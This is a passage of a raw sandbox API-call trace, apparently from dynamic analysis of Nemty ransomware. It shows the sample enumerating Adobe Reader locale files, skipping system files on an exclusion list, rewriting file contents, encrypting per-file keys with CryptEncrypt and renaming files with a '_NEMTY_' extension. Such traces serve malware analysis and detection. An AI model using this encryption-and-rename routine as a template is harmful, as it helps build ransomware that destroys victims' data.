lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.909] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.909] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.909] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=355328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x56c00 [0178.909] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.911] CloseHandle (hObject=0x2e8) returned 1 [0178.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0178.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.911] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Annots.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\annots.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Annots.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\annots.jpn._nemty_kgobjgd_")) returned 1 [0178.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0178.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.914] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.JPN", cAlternateFileName="BRDLAN~1.JPN")) returned 1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2=".") returned 1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="..") returned 1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="...") returned 1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="windows") returned -1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="rsa") returned -1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="NTDETECT.COM") returned -1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="ntldr") returned -1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="MSDOS.SYS") returned -1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="IO.SYS") returned -1 [0178.914] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="boot.ini") returned 1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="boot.ini") returned 1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="ntuser.dat") returned -1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="desktop.ini") returned -1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="CONFIG.SYS") returned -1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="RECYCLER") returned -1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="BOOTSECT.BAK") returned 1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="bootmgr") returned 1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="programdata") returned -1 [0178.915] lstrcmpiW (lpString1="BRdlang32.JPN", lpString2="appdata") returned 1 [0178.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.JPN", lpUsedDefaultChar=0x0) returned 13 [0178.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.JPN", lpUsedDefaultChar=0x0) returned 13 [0178.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.JPN", lpUsedDefaultChar=0x0) returned 13 [0178.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.JPN", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.JPN", lpUsedDefaultChar=0x0) returned 13 [0178.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.915] Sleep (dwMilliseconds=0x5) [0178.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e4c1ff0, dwHighDateTime=0x1d561e8)) [0178.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e4c1ff0, dwHighDateTime=0x1d561e8)) [0178.930] GetLastError () returned 0x0 [0178.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.930] GetLastError () returned 0x0 [0178.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.930] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.930] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.930] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.930] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="j1cUsIeVOFhHx6leamTJfoYkmouFyM0Lo1q6/CNcl2JdxUgL+/u83RBjK0jckAIK\r\nsU49umv17Rkm7CxFGTToRQk8s7nsjWKbEfDJbWSBircVD3JaZu7K3HnGsbfmiHQo\r\nus9FHbjVndnLdOk2OIF7/Ajx7B/9plD2jnbB+dOd3Y6OXMF8G6rCjon96s8gASnE\r\nqa/WzLxKC8VVnJ8SPLtJ2/uzVTnR+RDYU3MIRXfRNMrWJrhgYGi2J4EP4sDjQmoS\r\nOFnjqW1O1+F+N+0Skhv2cBe6/PfWQLoahGemiARUs3nmCRmn8Fi6/9ZZf5RmZ/n9\r\nEV3q/RyAR/1OYbxU8xS2HA==\r\n", pcchString=0x653e5dc) returned 1 [0178.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\BRdlang32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\brdlang32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.931] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=9216) returned 1 [0178.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2400) returned 0x6352c48 [0178.931] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.931] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2400, lpOverlapped=0x0) returned 1 [0178.933] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.933] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2400, lpOverlapped=0x0) returned 1 [0178.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.934] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=9216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2400 [0178.934] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.934] CloseHandle (hObject=0x2e8) returned 1 [0178.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.934] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\BRdlang32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\brdlang32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\BRdlang32.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\brdlang32.jpn._nemty_kgobjgd_")) returned 1 [0178.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.935] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.JPN", cAlternateFileName="")) returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2=".") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="..") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="...") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="windows") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="rsa") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="NTDETECT.COM") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="ntldr") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="MSDOS.SYS") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="IO.SYS") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="boot.ini") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="boot.ini") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="ntuser.dat") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="desktop.ini") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="CONFIG.SYS") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="RECYCLER") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="BOOTSECT.BAK") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="bootmgr") returned 1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="programdata") returned -1 [0178.935] lstrcmpiW (lpString1="Checkers.JPN", lpString2="appdata") returned 1 [0178.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.JPN", lpUsedDefaultChar=0x0) returned 12 [0178.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.JPN", lpUsedDefaultChar=0x0) returned 12 [0178.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.JPN", lpUsedDefaultChar=0x0) returned 12 [0178.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.JPN", lpUsedDefaultChar=0x0) returned 12 [0178.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.936] Sleep (dwMilliseconds=0x5) [0178.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e4e8150, dwHighDateTime=0x1d561e8)) [0178.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e4e8150, dwHighDateTime=0x1d561e8)) [0178.945] GetLastError () returned 0x0 [0178.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.945] GetLastError () returned 0x0 [0178.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.946] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.946] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.946] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.946] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="7eZpzfn3LyuJAyd+aDeGxQxISj/4/GDeV5qC7yqMtTA/N6AbnkMKkdIytzneueuv\r\ndonnPNX+zOT15oXFsrLOEUIct51Z1rgdkY0Jpw18DshH5HSgLp+tl1s9ucWQM/de\r\ngLWgY3BfhTSbPO3bHpoVAvlzITr00JfIP3nxbiZjbTXuYPp+Pd4FY5ZtmqHNpM+7\r\nttkIrG5uTzaBLUUMIBhhg6h1FPPV/r2EQ3DdTPCLfJc3B7EDc+ORTe6cnvXWtHdC\r\n41IUcbN9VizSw69nYsLrEtTKdvJyC27HUEcpDmKdvpoTeu1JhdGlYdREXBLztcCi\r\nyJQ+26yJ2Pm2OkKF0kbENg==\r\n", pcchString=0x653e5dc) returned 1 [0178.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 